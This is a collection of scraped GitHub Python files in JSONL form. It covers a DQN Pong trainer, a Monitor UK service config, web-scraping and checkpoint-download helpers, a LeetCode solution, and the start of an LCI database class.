reward = 10 + reward_step * 0.1\n reward_step = 0\n elif reward == -1:\n reward = -10 - reward_step * 0.1\n reward_step = 0\n else:\n reward -= 0.1\n # 调整的奖励规则,结束\n\n rpm.append((obs, action, reward, next_obs, done))\n\n # train model\n if (len(rpm) > MEMORY_WARMUP_SIZE) and (step % LEARN_FREQ == 0):\n # s,a,r,s',done\n (batch_obs, batch_action, batch_reward, batch_next_obs,\n batch_done) = rpm.sample(BATCH_SIZE)\n train_loss = agent.learn(batch_obs, batch_action, batch_reward,\n batch_next_obs, batch_done)\n\n total_reward += reward\n obs = next_obs\n if done:\n break\n return total_reward\n\n\n# 评估 agent, 跑 5 个episode,总reward求平均\ndef run_evaluate_episodes(agent, env, render=False):\n eval_reward = []\n for i in range(5):\n obs = env.reset()\n total_reward = 0\n steps = 0\n obs = to_features(obs) # 加入的特征转换\n while True:\n action = agent.predict(obs) # 预测动作,只选最优动作\n steps += 1\n next_obs, reward, done, info = env.step(action)\n obs = to_features(next_obs) # 加入的特征转换\n total_reward += reward\n if render:\n env.render()\n # if done or steps >= 200:\n if done:\n break\n eval_reward.append(total_reward)\n return np.mean(eval_reward)\n\n\ndef to_features(image):\n \"\"\" 预处理 210x160x3 uint8 frame into 6400 (80x80) 1维 float vector \"\"\"\n # 就是当前场景(obs)的特征提取\n image = image[35:195] # 裁剪\n image = image[::2, ::2, 0] # 下采样,缩放2倍\n image[image == 144] = 0 # 擦除背景 (background type 1)\n image[image == 109] = 0 # 擦除背景 (background type 2)\n image[image != 0] = 1 # 转为灰度图,除了黑色外其他都是白色\n image = np.array(image).astype(\"float32\")\n image = image.ravel()\n return image\n\n\ndef save_model(agent, save_path: str):\n agent.save(save_path)\n\n\ndef main():\n env = gym.make('Pong-v0')\n obs_dim = OBS_DIM_SIZE[0] * OBS_DIM_SIZE[1] # 80 * 80\n act_dim = env.action_space.n\n logger.info('obs_dim {}, act_dim {}'.format(obs_dim, act_dim))\n\n rpm = ReplayMemory(MEMORY_SIZE) # DQN的经验回放池\n\n # 根据parl框架构建agent\n model = Model(obs_dim=obs_dim, act_dim=act_dim)\n algorithm = DQN(\n model=model, \n gamma=GAMMA, \n lr=LEARNING_RATE)\n agent = Agent(\n algorithm=algorithm,\n act_dim=act_dim,\n e_greed=0.1, # 有一定概率随机选取动作,探索,原值 0.1\n e_greed_decrement=0) # 随着训练逐步收敛,探索的程度慢慢降低,原值 0\n\n # 加载模型并评估\n # if os.path.exists(SAVE_PATH):\n # agent.restore(SAVE_PATH)\n # run_evaluate_episodes(agent, env, render=True)\n # exit()\n\n # 先往经验池里存一些数据,避免最开始训练的时候样本丰富度不够\n print(\"start memory warmup size: {}\".format(MEMORY_WARMUP_SIZE))\n for i in range(MEMORY_WARMUP_SIZE):\n total_reward = run_train_episode(agent, env, rpm)\n if (i + 1) % 50 == 0:\n logger.info(\"episode: {} e_greed: {} train reward: {}\".format(\n i + 1, agent.e_greed, total_reward))\n print(\"end memory warmup size: {}\".format(MEMORY_WARMUP_SIZE))\n\n # start train\n print(\"start train episode: {}\".format(TRAIN_EPISODE))\n for i in range(TRAIN_EPISODE):\n # train part\n total_reward = run_train_episode(agent, env, rpm)\n\n if (i + 1) % 100 == 0:\n logger.info(\"episode: {} save model: {}\".format(i + 1, SAVE_PATH))\n save_model(agent, SAVE_PATH)\n\n # test part render=True 查看显示效果\n if (i + 1) % 100 == 0:\n eval_reward = run_evaluate_episodes(agent, env, render=False)\n logger.info(\"episode: {} e_greed: {} test reward: {}\".format(\n i + 1, agent.e_greed, eval_reward))\n\n # 训练结束,保存模型\n save_model(agent, SAVE_PATH)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cnhemiya/paddle-workbook","sub_path":"09Parl_Pong/dqn_pong/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25334750176","text":"\"\"\"\nMain service configuration, overrides default Octopus configurations and adds application specific ones\n\"\"\"\n\n##################################################\n# overrides for the webapp deployment\n\nDEBUG = False\n\"\"\" Run the web server in debug mode\"\"\"\n\nPORT = 5000\n\"\"\" Port to run the web server on\"\"\"\n\nSSL = True\n\"\"\" Is SSL enabled\"\"\"\n\nTHREADED = True\n\"\"\" Should the server run in multi-threaded mode (almost always should be True)\"\"\"\n\nVERSION = \"1.0.2\"\n\"\"\" Version number of the application, which is used in part to version the URLs to UI assets, for cache-busting purposes \"\"\"\n\n############################################\n# important overrides for the ES module\n\n# elasticsearch back-end connection settings\nELASTIC_SEARCH_HOST = \"http://localhost:9200\"\n\"\"\" Elasticsearch Host URL\"\"\"\n\nELASTIC_SEARCH_INDEX = \"muk\"\n\"\"\" Application index name \"\"\"\n\nELASTIC_SEARCH_VERSION = \"1.7.5\"\n\"\"\" Elasticsearch version. Do not use 0.x. Code probably works with 2.x but has not been tested \"\"\"\n\n# Classes from which to retrieve ES mappings to be used in this application\n# (note that if ELASTIC_SEARCH_DEFAULT_MAPPINGS is sufficient, you don't need to\n# add anything here\nELASTIC_SEARCH_MAPPINGS = [\n \"octopus.modules.account.dao.BasicAccountDAO\",\n]\n\"\"\" List of DAOs whose mappings are required to be created at first startup \"\"\"\n\n############################################\n## mail server configuration\n\nMAIL_FROM_ADDRESS = \"no-reply@jisc.ac.uk\"\n\"\"\" address from which email from this service will appear to originate \"\"\"\n\nMAIL_SUBJECT_PREFIX = \"[Monitor UK] \"\n\"\"\" Text string to prefix to every email which comes from this application \"\"\"\n\n# Settings for Flask-Mail. Set in local.cfg\nMAIL_SERVER = None # default localhost\n\"\"\" Mail server for outgoing mail - set in local.cfg \"\"\"\n\nMAIL_PORT = 25 # default 25\n\"\"\" Mail port for outgoing mail - set in local.cfg \"\"\"\n\nMAIL_USERNAME = None # default None\n\"\"\" Mail server username, if required - set in local.cfg \"\"\"\n\nMAIL_PASSWORD = None # default None\n\"\"\" Mail server password, if required - set in local.cfg \"\"\"\n\n#######################################################\n# Command line scripts\n\n# if you want to disable the user modification script once admin has been added, comment out the line beginning \"usermod\"\nCLI_SCRIPTS = {\n \"usermod\" : \"octopus.modules.account.scripts.UserMod\",\n \"start_scheduler\" : \"octopus.modules.scheduler.cli.StartScheduler\"\n}\n\n############################################\n# important overrides for account module\n\nACCOUNT_ENABLE = True\n\"\"\" Is the account module enabled - required for this application \"\"\"\n\nSECRET_KEY = \"super-secret-key\"\n\"\"\" Secret key to use in user authentication - set this in local.cfg \"\"\"\n\nACCOUNT_LIST_USERS = True\n\"\"\" Account module allows user listing \"\"\"\n\n# list of fields to be inserted into the _source part of a query on the account index.\n# This prevents us from sending information like api keys or hashed passwords to the front-end\nACCOUNT_LIST_USERS_INCLUDE_SOURCE = [\"id\", \"email\", \"created_date\", \"last_updated\", \"role\", \"organisation\", \"org_role\", \"name\"]\n\"\"\" When users are listed, this list limits the fields that are returned, as a security measure \"\"\"\n\nACCOUNT_MODEL = \"service.models.MonitorUKAccount\"\n\"\"\" Model object to use to represent user accounts \"\"\"\n\nACCOUNT_USER_FORM_CONTEXT = \"service.forms.account.MonitorUKUserFormContext\"\n\"\"\" Form context class to provide user account form \"\"\"\n\nACCOUNT_USER_FORM_ADMIN_CONTEXT = \"service.forms.account.MonitorUKUserAdminFormContext\"\n\"\"\" Form context class to provide user admin form \"\"\"\n\nACCOUNT_ACTIVATE_FORM_CONTEXT = \"service.forms.account.MonitorUKActivateFormContext\"\n\"\"\" Form context class to provide account activation form \"\"\"\n\nACCOUNT_DEFAULT_ROLES = [\"write_apc\", \"read_apc\"]\n\"\"\" Default roles added to all users that are created via the account system \"\"\"\n\nCLIENTJS_ACCOUNT_LIST_ENDPOINT = \"/account_query/account\"\n\"\"\" URL path to the account list query endpoint (needs to tie up with an equivalent query endpoint configuration in QUERY_ROUTE below) \"\"\"\n\n# You will also need to specify the query route as follows\nQUERY_ROUTE = {\n \"account_query\" : {\n \"account\" : {\n \"auth\" : True,\n \"role\" : \"list-users\",\n \"filters\" : [\n \"octopus.modules.account.dao.query_filter\"\n ],\n \"dao\" : \"service.models.MonitorUKAccount\"\n }\n },\n \"query\" : {\n \"apc\" : {\n \"auth\" : True,\n \"role\" : None,\n \"filters\" : [\n # \"service.search.report_query_filter\"\n ],\n \"dao\" : \"service.search.StaticPublicDAOProxy\"\n }\n }\n}\n\"\"\" Definitions of query endpoints. Here we define two: one for listing user accounts, only accessible to administrators, and one for general search queries \"\"\"\n\n###############################################\n# CRUD API configuration\n\nCRUD = {\n \"apc\" : {\n \"model\" : \"service.models.crud.ApiRequest\",\n \"create\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n \"response\" : {\n \"location\" : False\n }\n },\n \"retrieve\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"]\n },\n \"update\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n \"response\" : {\n \"location\" : False\n }\n },\n \"append\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n \"response\" : {\n \"location\" : False\n }\n },\n \"delete\" : {\n \"enable\" : True,\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n }\n }\n}\n\"\"\" Definitions of the CRUD endpoint. This configures service.models.crud.ApiRequest to handle CRUD requests for APCs \"\"\"\n\n##############################################################\n# Public Search API Configuration\n\n# The search configuration for each mount point\nSEARCHAPI = {\n \"public\" : {\n \"auth\" : True,\n \"roles\" : [\"read_apc\"],\n \"default_page_size\" : 10,\n \"max_page_size\" : 100,\n \"search_no_mod\" : [\n \"created_date\",\n \"last_updated\"\n ],\n \"search_prefix\" : \"record.\",\n \"search_subs\" : {\n \"id\" : \"id.exact\",\n \"doi\" : \"index.doi.exact\",\n \"pmcid\" : \"index.pmcid.exact\",\n \"pmid\" : \"index.pmid.exact\",\n \"url\" : \"index.url.exact\",\n \"issn\" : \"index.issn.exact\"\n },\n \"sort_prefix\" : \"record.\",\n \"sort_subs\" : {\n \"dc:title\" : \"index.ascii_unpunc_title.exact\",\n \"record.dc:title\" : \"index.ascii_unpunc_title.exact\",\n \"apc_total_amount_gbp\" : \"index.apc_total_amount_gbp\",\n \"apc_total_vat_gbp\" : \"index.apc_total_vat_gbp\",\n \"apc_total_gbp\" : \"index.apc_total_gbp\",\n \"sum_total_gbp\" : \"index.sum_total_gbp\"\n },\n \"query_builder\" : \"service.queries.PublicSearchQuery\",\n \"dao\" : \"service.search.StaticPublicDAOProxy\",\n \"results_filter\" : \"service.search.public_filter\"\n },\n\n \"private\" : {\n \"auth\" : True,\n \"roles\" : [\"write_apc\"],\n \"default_page_size\" : 10,\n \"max_page_size\" : 100,\n \"search_no_mod\" : [\n \"created_date\",\n \"last_updated\"\n ],\n \"search_prefix\" : \"record.\",\n \"search_subs\" : {\n \"id\" : \"id.exact\",\n \"doi\" : \"index.doi.exact\",\n \"pmcid\" : \"index.pmcid.exact\",\n \"pmid\" : \"index.pmid.exact\",\n \"url\" : \"index.url.exact\",\n \"issn\" : \"index.issn.exact\"\n },\n \"sort_prefix\" : \"record.\",\n \"sort_subs\" : {\n \"dc:title\" : \"index.ascii_unpunc_title.exact\",\n \"record.dc:title\" : \"index.ascii_unpunc_title.exact\",\n \"apc_total_amount_gbp\" : \"index.apc_total_amount_gbp\",\n \"apc_total_vat_gbp\" : \"index.apc_total_vat_gbp\",\n \"apc_total_gbp\" : \"index.apc_total_gbp\",\n \"sum_total_gbp\" : \"index.sum_total_gbp\"\n },\n \"query_builder\" : \"service.queries.PrivateSearchQuery\",\n \"dao\" : \"service.search.StaticPublicDAOProxy\",\n \"results_filter\" : \"service.search.private_filter\"\n }\n}\n\"\"\" Search API configuration, enabling a public search of all public records, and a private search of all records owned by an authenticated user \"\"\"\n\n#######################################################\n## Task scheduler configuration\n\nSCHEDULER_TASKS = [\n # every 10 seconds trigger the request processing task - this converts requests for updates into public apc records\n (10, \"seconds\", None, \"service.tasks.process_updates\"),\n\n # every hour trigger the lantern lookup - this sends any new records out to Lantern for enhancement\n (1, \"hours\", None, \"service.tasks.lantern_jobs\"),\n\n # every hour trigger the lantern job checker - this will pull in any updates from Lantern\n (1, \"hours\", None, \"service.tasks.lantern_check\")\n]\n\"\"\" Asynchronous job scheduling. Schedules updates via the API every 10 seconds, and synchronisation with Lantern on a longer cycle \"\"\"\n\n\n##############################################\n## App specific config\n\n# if the workflow state does not have a \"last request\" date recorded, what is the date it should report\n# (basically, this just needs to be earlier than the service went live. We use the start of the unix epoch by default)\nWORKFLOW_STATE_EARLIEST_DATE = \"1970-01-01T00:00:00Z\"\n\"\"\" When a workflow state is first created, what is the default earliest date \"\"\"\n\nAPI_JSON_LD_CONTEXT = {\n \"jm\": \"http://jiscmonitor.jiscinvolve.org/\",\n \"dc\": \"http://purl.org/dc/elements/1.1/\",\n \"dcterms\": \"http://purl.org/dc/terms/\",\n \"rioxxterms\": \"http://rioxx.net/v2-0-beta-1/\",\n \"ali\" : \"http://www.niso.org/schemas/ali/1.0/jsonld.json\"\n}\n\"\"\" Defines the JSON-LD @context properties for use in the API \"\"\"\n\n# Email address to be presented on the login page for the user to contact if they wish to request an account\nMONITOR_ACCOUNT_REQUEST_EMAIL = \"monitor+account@jisc.ac.uk\"\n\"\"\" Email address users should contact if they would like an account with Monitor UK \"\"\"\n\nPRIMARY_NAVIGATION = [\n {\n \"label\": \"About\",\n \"url\": {\n \"url\": \"https://monitor.jisc.ac.uk/uk/about\",\n },\n \"visibility\": {\n \"auth\": True,\n \"anonymous\": True\n },\n \"main_nav\": True,\n \"breadcrumb\": False\n },\n {\n \"label\" : \"Search\",\n \"url\" : {\n \"url_for\" : \"search\",\n },\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False\n },\n {\n \"label\" : \"Reports\",\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False,\n \"subnav\" : [\n {\n \"label\" : \"Publisher\",\n \"url\" : {\n \"url_for\" : \"publisher\"\n },\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False\n },\n {\n \"label\": \"Funder\",\n \"url\": {\n \"url_for\": \"funder\"\n },\n \"visibility\": {\n \"auth\": True,\n \"anonymous\": False\n },\n \"main_nav\": True,\n \"breadcrumb\": False\n },\n {\n \"label\": \"Institution\",\n \"url\": {\n \"url_for\": \"institution\"\n },\n \"visibility\": {\n \"auth\": True,\n \"anonymous\": False\n },\n \"main_nav\": True,\n \"breadcrumb\": False\n }\n ]\n },\n {\n \"label\": \"Help and resources\",\n \"url\": {\n \"url\": \"https://monitor.jisc.ac.uk/uk/help\",\n },\n \"visibility\": {\n \"auth\": True,\n \"anonymous\": True\n },\n \"main_nav\": True,\n \"breadcrumb\": False\n }\n]\n\"\"\" Definition for primary navigation, rendered on the left-hand side of the navigation bar \"\"\"\n\nSECONDARY_NAVIGATION = [\n {\n \"label\" : \"Your Account\",\n \"url\" : {\n \"url_for\" : \"account.username\",\n \"current_user_kwargs\" : [\n {\n \"property\" : \"email\",\n \"arg_name\" : \"username\"\n }\n ]\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False,\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False\n }\n },\n {\n \"label\" : \"Admin\",\n \"url\" : {\n \"url_for\" : \"admin.index\"\n },\n \"match\" : [\n {\"url_for\" : \"account.register\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.username\", \"kwargs\" : {\"username\" : \"\"}, \"type\" : \"startswith\"},\n {\n \"action\" : \"deactivate\",\n \"url_for\" : \"account.username\",\n \"current_user_kwargs\" : [\n {\n \"property\" : \"email\",\n \"arg_name\" : \"username\"\n }\n ]\n },\n {\"url_for\" : \"account.index\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.login\", \"type\" : \"exact\", \"action\" : \"deactivate\"},\n {\"url_for\" : \"account.forgot\", \"type\" : \"exact\", \"action\" : \"deactivate\"},\n {\"url_for\" : \"account.forgot_pending\", \"type\" : \"exact\", \"action\" : \"deactivate\"},\n {\"url_for\" : \"account.reset\", \"kwargs\" : {\"reset_token\" : \"\"}, \"type\" : \"startswith\", \"action\" : \"deactivate\"}\n ],\n \"main_nav\" : True,\n \"breadcrumb\" : True,\n \"visibility\" : {\n \"auth\" : True,\n \"anonymous\" : False,\n \"role\" : [\"admin\"]\n },\n \"always_show_subnav\" : True,\n \"subnav\" : [\n {\n \"label\" : \"Manage Users\",\n \"url\" : {\n \"url_for\" : \"account.index\"\n },\n \"match\" : [\n {\"url_for\" : \"account.register\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.username\", \"kwargs\" : {\"username\" : \"\"}, \"type\" : \"startswith\"},\n {\n \"action\" : \"deactivate\",\n \"url_for\" : \"account.username\",\n \"current_user_kwargs\" : [\n {\n \"property\" : \"email\",\n \"arg_name\" : \"username\"\n }\n ]\n }\n ],\n \"main_nav\" : True,\n \"breadcrumb\" : True,\n \"subnav\" : [\n {\n \"label\" : \"Create User\",\n \"url\" : {\n \"url_for\" : \"account.register\"\n },\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"link_on_active\" : False\n },\n {\n \"label\" : \"Edit User\",\n \"match\" : [\n {\"url_for\" : \"account.username\", \"kwargs\" : {\"username\" : \"\"}, \"type\" : \"startswith\"},\n {\n \"action\" : \"deactivate\",\n \"url_for\" : \"account.username\",\n \"current_user_kwargs\" : [\n {\n \"property\" : \"email\",\n \"arg_name\" : \"username\"\n }\n ]\n },\n {\"url_for\" : \"account.index\", \"action\" : \"deactivate\"},\n {\"url_for\" : \"account.register\", \"action\" : \"deactivate\"}\n ],\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"link_on_active\" : False\n }\n ]\n },\n {\n \"label\" : \"Create User\",\n \"url\" : {\n \"url_for\" : \"account.register\",\n },\n \"main_nav\" : True,\n \"breadcrumb\" : False\n }\n ]\n },\n {\n \"label\" : \"Log In\",\n \"url\" : {\n \"url_for\" : \"account.login\",\n },\n \"match\" : [\n {\"url_for\" : \"account.forgot\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.forgot_pending\", \"type\" : \"exact\"},\n {\"url_for\" : \"account.reset\", \"kwargs\" : {\"reset_token\" : \"\"}, \"type\" : \"startswith\"}\n ],\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"visibility\" : {\n \"auth\" : False,\n \"anonymous\" : True\n },\n \"subnav\" : [\n {\n \"label\" : \"Forgotten Password\",\n \"url\" : {\n \"url_for\" : \"account.forgot\"\n },\n \"main_nav\" : False,\n \"match\" : [\n {\"url_for\" : \"account.forgot_pending\", \"type\" : \"exact\"}\n ],\n \"breadcrumb\" : True,\n \"subnav\" : [\n {\n \"label\" : \"Password Reset\",\n \"url_for\" : \"account.forgot_pending\",\n \"match\" : [\n {\"url_for\" : \"account.forgot_pending\", \"type\" : \"exact\"}\n ],\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"link_on_active\" : False\n }\n ]\n },\n {\n \"label\" : \"Reset your password\",\n \"match\" : [\n {\"url_for\" : \"account.reset\", \"kwargs\" : {\"reset_token\" : \"\"}, \"type\" : \"startswith\"}\n ],\n \"main_nav\" : False,\n \"breadcrumb\" : True,\n \"link_on_active\" : False\n }\n ]\n }\n]\n\"\"\" Definition for secondary navigation, rendered on the right-hand side of the navigation bar \"\"\"\n\nSITE_NAVIGATION = PRIMARY_NAVIGATION + SECONDARY_NAVIGATION\n\"\"\" Overall site navigation \"\"\"\n\n# Javascript endpoint configurations\nCLIENTJS_PUBLIC_QUERY_ENDPOINT = \"/query/apc\"\n\"\"\" Public query endpoint, for use by reports and search interface. Should be defined above in QUERY_ROUTES \"\"\"\n\n#################################################\n## Settings for Lantern integration\n\nENABLE_LANTERN = True\n\"\"\" Is Lantern integration enabled \"\"\"\n\n# The list of paths to fields which trigger a lookup for a record in Lantern\n# (uses objectpath notation)\nMISSING_FIELD_TRIGGERS_LANTERN = [\n \"$.record.'rioxxterms:publication_date'\",\n \"$.record.'rioxxterms:version'\",\n \"$.record.'dc:source'.name\",\n \"$.record.'dc:source'.identifier[@.type is 'issn'].id\",\n \"$.record.'dc:source'.oa_type\",\n \"$.record.'dc:source'.self_archiving.preprint.policy\",\n \"$.record.'dc:source'.self_archiving.preprint.embargo\",\n \"$.record.'dc:source'.self_archiving.postprint.policy\",\n \"$.record.'dc:source'.self_archiving.postprint.embargo\",\n \"$.record.'dc:source'.self_archiving.publisher.policy\",\n \"$.record.'dc:source'.self_archiving.publisher.embargo\",\n \"$.record.'rioxxterms:project'.funder_name\",\n \"$.record.'ali:license_ref'.type\",\n \"$.record.'jm:repository'.repo_name\"\n]\n\"\"\" List of fields in a PublicAPC, using objectpath notiation, which, if missing, trigger a request to Lantern for a record \"\"\"\n\n# batch sizes to send to Lantern. Lantern permits up to 3000 per request, but we keep it low here for\n# performance on our side\nBATCH_SIZE_LANTERN = 1000\n\"\"\" Batch size for Lantern requests. Maximum allowed his higher, this just gives us room to manoevre \"\"\"\n\n# length of time (in seconds) to wait before re-submitting a previously checked item\n# default here is 6 months\nDATA_REFRESH_LANTERN = 15552000\n\"\"\" Time period (in seconds) to wait before re-looking up a record in Lantern (the default is 6 months) \"\"\"\n\n# The minimum amount of time to wait between polling Lantern for updates on a previously submitted job\nJOB_LOOKUP_DELAY_LANTERN = 3600\n\"\"\" Time period (in seconds) to wait before re-checking a submitted Lantern job \"\"\"\n\n# For the purposes of the functional/integration tests with Lantern, you can provide a test account email address and\n# api key, via your local.cfg file\nTEST_ACCOUNT_EMAIL_LANTERN = False\n\"\"\" Your Lantern test account email address - set in local.cfg \"\"\"\n\nTEST_API_KEY_LANTERN = False\n\"\"\" Your Lantern test account api key - set in local.cfg \"\"\"\n","repo_name":"JiscMonitor/monitor-uk","sub_path":"config/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":21297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3740342087","text":"import logging\nfrom enum import Enum\nfrom typing import Callable, Optional\n\nimport requests\n\nfrom cart_player.backend import config\n\nlogger = logging.getLogger(f\"{config.LOGGER_NAME}::Loader\")\n\n\nclass ResponseType(str, Enum):\n TEXT = \"text\"\n CONTENT = \"content\"\n\n\nclass WebsiteLoader:\n \"\"\"Helper class for loading the content of a website from a given URL.\"\"\"\n\n def load(\n self,\n url: str,\n process_url: Callable[[str], str] = lambda _url: _url,\n spoof_user_agent: bool = True,\n reponse_type: ResponseType = ResponseType.TEXT,\n ) -> Optional[str]:\n \"\"\"Load content from an url.\n\n Args:\n url: Url from which to load content.\n spoof_user_agent: True if user-agent must be overriden by a Safari browser user-agent.\n\n Returns:\n Content if content could be loaded, None otherwise.\n \"\"\"\n # Process url\n url = process_url(url)\n if url is None:\n return None\n\n logger.debug(f\"processed url: {url}\")\n\n # Define a user-agent as Safari web browser\n headers = {}\n if spoof_user_agent:\n headers = {\n \"User-Agent\": (\n \"Mozilla/5.0 (Windows; U; Windows CE) \"\n \"AppleWebKit/535.19.4 (KHTML, like Gecko) \"\n \"Version/4.0.2 Safari/535.19.4\"\n )\n }\n\n # Perform the request\n try:\n response = requests.get(process_url(url), headers=headers)\n except Exception as e:\n logger.error(f\"An error occurred during request [GET {url}]: {e}\", exc_info=True)\n return None\n else:\n if response.status_code == 200:\n return response.text if reponse_type == ResponseType.TEXT else response.content\n return None\n","repo_name":"djidane535/cart_player","sub_path":"cart_player/backend/adapters/game_library/utils/website_loader.py","file_name":"website_loader.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74826177513","text":"#!/usr/bin/env python3\nimport logging\n\nimport requests\nfrom script_helpers import (\n ToolDirectoryService,\n ToolInfoService,\n configure_logging,\n)\n\nconfigure_logging()\n\ntool_directory_service = ToolDirectoryService()\ntool_info_service = ToolInfoService()\n\ntool_directory_service.prepare_directories()\n\ntool = tool_info_service.select_tool_prompt()\n\ncheckpoints = tool.get(\"checkpoints\", [])\nif len(checkpoints) == 0:\n logging.info(f\"No checkpoints for {tool['name']}\")\n exit(0)\n\ndownload_all = input(\"Download all checkpoints? (y/n): \") == \"y\"\nfor checkpoint in checkpoints:\n if not download_all:\n download_checkpoint = input(\n f\"Download checkpoint {checkpoint['name']} for {tool['name']}? [y/N] \"\n )\n if download_all or download_checkpoint.lower() == \"y\":\n logging.info(\n f\"Downloading checkpoint {checkpoint['name']} for {tool['name']}\"\n )\n res = requests.get(\n checkpoint.get(\n \"url\",\n f\"https://s3.us-east-1.wasabisys.com/super-ml/cp/{checkpoint['name']}\",\n ),\n stream=True,\n )\n with open(\n f\"{tool_directory_service.checkpoint_volume_dir}/{checkpoint['name']}\",\n \"wb\",\n ) as f:\n for chunk in res.iter_content(chunk_size=1024):\n if chunk:\n f.write(chunk)\n","repo_name":"beverts312/machine-learning","sub_path":"bails_ml_wrappers/prepare.py","file_name":"prepare.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13284292617","text":"\"\"\"\nYou are given a 0-indexed integer array nums. A subarray of nums is called continuous if:\n\nLet i, i + 1, ..., j be the indices in the subarray. Then, for each pair of indices i <= i1, i2 <= j, 0 <= |nums[i1] - nums[i2]| <= 2.\nReturn the total number of continuous subarrays.\n\nA subarray is a contiguous non-empty sequence of elements within an array.\n\nExample 1:\nInput: nums = [5,4,2,4]\nOutput: 8\nExplanation:\nContinuous subarray of size 1: [5], [4], [2], [4].\nContinuous subarray of size 2: [5,4], [4,2], [2,4].\nContinuous subarray of size 3: [4,2,4].\nThereare no subarrys of size 4.\nTotal continuous subarrays = 4 + 3 + 1 = 8.\nIt can be shown that there are no more continuous subarrays.\n\nExample 2:\nInput: nums = [1,2,3]\nOutput: 6\nExplanation:\nContinuous subarray of size 1: [1], [2], [3].\nContinuous subarray of size 2: [1,2], [2,3].\nContinuous subarray of size 3: [1,2,3].\nTotal continuous subarrays = 3 + 2 + 1 = 6.\n\nConstraints:\n1 <= nums.length <= 10^5\n1 <= nums[i] <= 10^9\n\nhints:\nTry using the sliding window technique.\nUse a set or map to keep track of the maximum and minimum of subarrays.\n\nanalysis:\nmonotonic deque for min, max of subarray, store index instead\nTC: O(N)\n\"\"\"\nfrom collections import deque\nfrom typing import List\n\n\nclass ContinuousSubarrays:\n def continuousSubarrays(self, nums: List[int]) -> int:\n res = l = 0\n n = len(nums)\n max_deque, min_deque = deque(), deque()\n for r in range(n):\n cur = nums[r]\n while max_deque and nums[max_deque[-1]] < cur:\n max_deque.pop()\n max_deque.append(r)\n while min_deque and cur < nums[min_deque[-1]]:\n min_deque.pop()\n min_deque.append(r)\n while min_deque and max_deque and nums[max_deque[0]] - nums[min_deque[0]] > 2:\n if max_deque[0] < min_deque[0]:\n l = max_deque[0] + 1\n max_deque.popleft()\n else:\n l = min_deque[0] + 1\n min_deque.popleft()\n res += r - l + 1\n return res\n\n","repo_name":"DeanHe/Practice","sub_path":"LeetCodePython/ContinuousSubarrays.py","file_name":"ContinuousSubarrays.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"27775268632","text":"from bs4 import BeautifulSoup\nimport requests \nimport array as arr\n\n# Source: https://towardsdatascience.com/how-to-web-scrape-with-python-in-4-minutes-bc49186a8460\n\nsource = requests.get('http://menus.tufts.edu/foodpro/shortmenu.asp?sName=TUFTS+DINING&locationNum=09&locationName=Carmichael+Dining+Center&naFlag=1').text\n\nsoup = BeautifulSoup(source, 'lxml').text\nfileName = 'menu.txt'\n\n#write scraped data into text file\n# with open (fileName,'w+') as f: \n\t# f.write(soup)\n\t# for line in f:\n\t\t# https://qiita.com/visualskyrim/items/1922429a07ca5f974467\nlines = [line.rstrip('\\n') for line in open(fileName)]\nfor i in lines:\n\tif(\"Pizza\" in i):\n\t\t# print(lines.index('Strawberry'))\n\t\tprint(i)\n\n# print(lines)\n\n# print(lines[388])\n\n","repo_name":"mariak1998/PancakeTime","sub_path":"scrape_menu.py","file_name":"scrape_menu.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31912171213","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Jan 20 15:36:43 2019\r\n\r\n@author: cyshi\r\n\"\"\"\r\n\r\nimport stats_arrays\r\nimport collections\r\nfrom eight import *\r\nimport pandas as pd\r\nimport os\r\n# import win32com.client as win32\r\nfrom . import peewee, Database, databases\r\nimport xlsxwriter\r\nfrom .importer import Importer\r\ntry:\r\n import cPickle as pickle\r\nexcept:\r\n import pickle \r\n \r\n#%%\r\nclass SetUpDatabase():\r\n \"\"\"A means of setting up lci databases with brightway backend. Inventory data can \r\n be exported to excel. This class enables importing, managing,\r\n and manipulating the databases and activities and exchanges in the database.\r\n \r\n Attributes\r\n ----------\r\n \r\n database_name : str \r\n\r\n Name of the lci databases or datasets \r\n\r\n db : obj\r\n\r\n An instance of the database to be set up. \r\n \"\"\"\r\n \r\n download_path=None\r\n store_download=True\r\n c_path=os.path.abspath(os.path.dirname(__file__))\r\n \r\n \r\n def __init__(self, database_name):\r\n \"\"\"database_names are string\"\"\"\r\n assert type (database_name) == str, \"Invalid database name\"\r\n self.database_name = database_name \r\n stored = [x.lower() for x in databases.list] #turn databases 